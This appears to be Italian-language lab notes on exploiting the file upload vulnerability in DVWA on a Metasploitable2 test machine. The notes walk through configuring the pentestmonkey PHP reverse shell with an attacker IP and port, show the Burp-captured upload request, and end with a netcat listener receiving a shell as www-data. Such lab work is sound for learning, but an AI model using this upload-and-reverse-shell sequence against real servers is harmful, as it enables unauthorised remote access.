

# PHP REVERSE SHELL

## Test su macchina metasploitable2 192.168.1.10

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

Upload

XSS reflected

XSS stored

## Vulnerability: File Upload

Choose an image to upload:

Browse...

php-reverse-shell.php

Upload

**More info**

[http://www.owasp.org/index.php/Unrestricted\\_File\\_Upload](http://www.owasp.org/index.php/Unrestricted_File_Upload)

<http://blogs.securiteam.com/index.php/archives/120>

<http://www.acunetix.com/websitesecurity/upload-flo>

Da DVWA possiamo caricare i file 'Upload' la php reverse shell l'ho presa da [pentestmokey](#). Oppure in kali /usr/share/webshells/php

```
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.15'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
```

Nella shell vanno modificati i campi IP e porta

In questo caso dobbiamo effettuare una connessione con il nostro host quindi dobbiamo mettere il nostro IP e la porta su cui ci vogliamo mettere in ascolto.

```

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----42456998461
Content-Length: 5981
Origin: http://192.168.1.10
Connection: close
Referer: http://192.168.1.10/dvwa/vulnerabilities/upload/
Cookie: security=low; PHPSESSID=856b86d92e45a7f776f6d562f8d06822
Upgrade-Insecure-Requests: 1

-----424569984615336479411086318415
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000

-----424569984615336479411086318415
Content-Disposition: form-data; name="uploaded"; filename="php-reverse-shell.php"
Content-Type: application/x-php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

```

Questo é il pacchetto di burp dell'invio della shell.

Choose an image to upload:

No file selected.

../../hackable/uploads/php-reverse-shell.php succesfully uploaded!

../ Va indietro di 2 directory quindi la shell sarà in dvwa/hackable/uploads/php-reverse-shell.php  
Prima di premere invio sull'URL ci mettiamo in ascolto con kali sulla porta delle reverse quindi 4444  
con il comando **\$ nc -lnvp 4444**. -lnvp dice di ascoltare tutte le connessioni sulla porta.

```
(kali㉿ kali)-[~]  
$ nc -lvp 4444  
listening on [any] 4444 ...  
connect to [192.168.1.15] from (UNKNOWN) [192.168.1.10] 48541  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux  
05:11:26 up 14 min, 2 users, load average: 0.00, 0.00, 0.00  
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT  
msfadmin tty1 - 04:57 1:31m 0.12s 0.03s -bash  
root pts/0 :0.0 04:57 14:08m 0.00s 0.00s -bash  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
sh: no job control in this shell  
sh-3.2$
```

## Connessioni